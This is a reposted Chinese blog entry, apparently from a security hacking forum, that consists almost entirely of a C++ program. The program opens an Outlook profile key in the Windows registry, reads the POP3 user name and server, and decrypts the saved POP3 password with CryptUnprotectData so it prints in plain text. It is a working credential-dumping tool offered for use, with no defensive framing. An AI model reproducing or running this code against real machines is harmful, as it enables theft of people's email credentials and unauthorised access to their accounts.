VC 解密OUTLOOK pop3保存注册表密码

#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <cstdlib>
#include <stdio.h>
using namespace std;
#pragma comment(lib, "crypt32.lib") 
 
WINCRYPT32API
        BOOL
        WINAPI
        CryptUnprotectData(
        __in            DATA_BLOB*      pDataIn,             // in encr blob
        __deref_opt_out_opt LPWSTR*     ppszDataDescr,       // out
        __in_opt        DATA_BLOB*      pOptionalEntropy,
        __reserved      PVOID           pvReserved,
        __in_opt        CRYPTPROTECT_PROMPTSTRUCT*  pPromptStruct,
        __in            DWORD           dwFlags,
        __out           DATA_BLOB*      pDataOut
        );
 
void opt(char* prog)
{
        printf("Welcome [url=http://www.90sec.org]www.90sec.org[/url]
");
        printf("[-]:%s Get_pop3 passwords
",prog);
}
 
int main(int argc,char* argv[])
{
        opt(argv[0]);
        printf("
");
        HKEY hKey;     
        LPCTSTR lpRun = L"Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Test\9375CFF0413111d3B88A00104B2A6676\00000002";
        //READ POP3 DATA define
        //----------------------------------------
        DWORD sizeBuff = 1000; //read length
        DWORD dwtype = REG_BINARY; // reg type
        BYTE reBuff[1000] = {0}; //save string length
        long lRet; //Reg return values
        BYTE SmtpServer[200] = {0}; //read reg String length
        DWORD SMtplen = 200; //DWORD reg read length
        BYTE SmtpUser[200] = {0};//read reg String length
        DWORD SMtpUserlen = 200; //DWORD reg read length
        //------------------------------------------
 
        lRet= RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_READ, &hKey); //open reg
        if (lRet != ERROR_SUCCESS)
        {
                printf("RegOpenKeyEx Failed
");
                return 0;
        }else
        {
                printf("RegOpenKeyEx Ing.....
");
        }
 
        if (RegQueryValueEx(hKey,L"POP3 User",0,&dwtype,SmtpUser,&SMtpUserlen) == ERROR_SUCCESS) //query Pop3 Server address
        {
                //cout << "Smtp User:" << SmtpServer << endl;
                printf("POP3 User:%S
",SmtpUser);//print Pop3 user
        }
 
        if (RegQueryValueEx(hKey,L"POP3 Server",0,&dwtype,SmtpServer,&SMtplen) == ERROR_SUCCESS) //query Pop3 Server address
        {
                //cout << "Smtp User:" << SmtpServer << endl;
                printf("Smtp Server:%S
",SmtpServer);//print server address
        }
 
        if(RegQueryValueEx(hKey,L"POP3 Password",0,&dwtype,reBuff,&sizeBuff) == ERROR_SUCCESS) //query POP3 password
        {
                DATA_BLOB DataPassword;
                DATA_BLOB DataOutput;
                DataPassword.cbData = sizeBuff -1;
                DataPassword.pbData = &reBuff[1];
                if(CryptUnprotectData(&DataPassword,0,0,0,0,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt pop3 password
                {
                        //cout << DataOutput.pbData << endl;
                        wcout << "POP3 Password: " << (wchar_t*)DataOutput.pbData;   //print password
                }else
                {
                        cout << "Read error
" << endl; //error
                        return 0;
                }
                return 0;
}
 
        RegCloseKey(hKey);
        return 0;
}

  

原文地址:https://www.cnblogs.com/killbit/p/4330599.html